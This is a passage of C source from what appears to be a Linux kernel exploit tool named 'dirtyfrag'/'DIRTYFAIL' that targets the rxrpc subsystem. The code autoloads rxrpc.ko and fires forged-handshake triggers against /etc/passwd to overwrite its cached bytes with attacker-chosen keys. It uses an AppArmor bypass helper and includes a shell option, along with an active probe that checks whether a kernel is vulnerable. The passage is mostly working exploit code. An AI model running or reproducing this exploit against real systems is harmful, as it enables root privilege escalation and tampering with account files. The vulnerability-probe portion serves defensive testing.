(int i = 0; i < 8; i++) { unsigned int b; if (sscanf(hex + i*2, "%2x", &b) != 1) return false; out[i] = (uint8_t)b; } return true; } df_result_t dirtyfrag_rxrpc_exploit_inner(void) { uint8_t Ka[8], Kb[8], Kc[8]; if (!hex_to_8b(getenv("DIRTYFAIL_K_A"), Ka) || !hex_to_8b(getenv("DIRTYFAIL_K_B"), Kb) || !hex_to_8b(getenv("DIRTYFAIL_K_C"), Kc)) { log_bad("inner: DIRTYFAIL_K_{A,B,C} not set or invalid"); return DF_TEST_ERROR; } /* Autoload rxrpc.ko by opening a dummy AF_RXRPC socket. */ int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (dummy >= 0) close(dummy); int t = open("/etc/passwd", O_RDONLY); if (t < 0) { log_bad("inner: open passwd: %s", strerror(errno)); return DF_EXPLOIT_FAIL; } bool ok = do_one_trigger(t, 4, Ka) && do_one_trigger(t, 6, Kb) && do_one_trigger(t, 8, Kc); close(t); return ok ? DF_EXPLOIT_OK : DF_EXPLOIT_FAIL; } /* ---------------------------------------------------------------- * * Active probe — `--scan --active` path. * * Fires ONE forged-handshake trigger against a /tmp sentinel page * with an arbitrary 8-byte key. We don't try to predict what lands; * any byte change inside the spliced 8-byte window confirms the * kernel ran the STORE. * ---------------------------------------------------------------- */ df_result_t dirtyfrag_rxrpc_active_probe_inner(void) { const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL"); if (!sentinel || !*sentinel) { log_bad("rxrpc-probe: DIRTYFAIL_PROBE_SENTINEL not set"); return DF_TEST_ERROR; } int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (dummy >= 0) close(dummy); int t = open(sentinel, O_RDONLY); if (t < 0) { log_bad("rxrpc-probe: open %s: %s", sentinel, strerror(errno)); return DF_TEST_ERROR; } /* Any 8-byte key works for a structural probe — we're not * recovering plaintext, just confirming the STORE fires. */ static const uint8_t probe_key[8] = { 0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x23, 0x45, 0x67 }; bool ok = do_one_trigger(t, 0, probe_key); close(t); return ok ? DF_EXPLOIT_OK : DF_TEST_ERROR; } df_result_t dirtyfrag_rxrpc_active_probe(void) { char tmpl[] = "/tmp/dirtyfail-rxrpc-probe.XXXXXX"; int sfd = mkstemp(tmpl); if (sfd < 0) { log_bad("rxrpc-probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; } unsigned char filler[4096]; memset(filler, 'A', sizeof(filler)); if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) { close(sfd); unlink(tmpl); return DF_TEST_ERROR; } close(sfd); /* Fault page in. */ int rfd = open(tmpl, O_RDONLY); if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; } char tmp[4096]; if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) { close(rfd); unlink(tmpl); return DF_TEST_ERROR; } close(rfd); setenv("DIRTYFAIL_INNER_MODE", "rxrpc-probe", 1); setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1); int rc = apparmor_bypass_fork_arm(0, NULL); unsetenv("DIRTYFAIL_INNER_MODE"); unsetenv("DIRTYFAIL_PROBE_SENTINEL"); if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; } if (rc != DF_EXPLOIT_OK) { log_bad("rxrpc-probe inner failed (exit=%d)", rc); unlink(tmpl); return DF_TEST_ERROR; } rfd = open(tmpl, O_RDONLY); if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; } unsigned char after[64]; ssize_t got = read(rfd, after, sizeof(after)); close(rfd); unlink(tmpl); if (got <= 0) return DF_TEST_ERROR; /* Look for any byte that differs from the 'A' filler in the first * 32 bytes (the spliced 8-byte window plus any nearby fallout). */ int first_diff = -1; for (int i = 0; i < (int)got && i < 32; i++) { if (after[i] != 'A') { first_diff = i; break; } } if (first_diff >= 0) { log_warn("ACTIVE PROBE rxrpc: STORE landed near offset %d → kernel is VULNERABLE", first_diff); return DF_VULNERABLE; } log_ok("ACTIVE PROBE rxrpc: page intact — kernel rxrpc path appears patched"); return DF_OK; } #else /* not __linux__ */ df_result_t dirtyfrag_rxrpc_exploit(bool do_shell) { (void)do_shell; log_bad("dirtyfrag_rxrpc_exploit: Linux-only"); return DF_TEST_ERROR; } df_result_t dirtyfrag_rxrpc_exploit_inner(void) { log_bad("dirtyfrag_rxrpc_exploit_inner: Linux-only"); return DF_TEST_ERROR; } df_result_t dirtyfrag_rxrpc_active_probe(void) { log_bad("dirtyfrag_rxrpc_active_probe: Linux-only"); return DF_TEST_ERROR; } df_result_t dirtyfrag_rxrpc_active_probe_inner(void) { log_bad("dirtyfrag_rxrpc_active_probe_inner: Linux-only"); return DF_TEST_ERROR; } #endif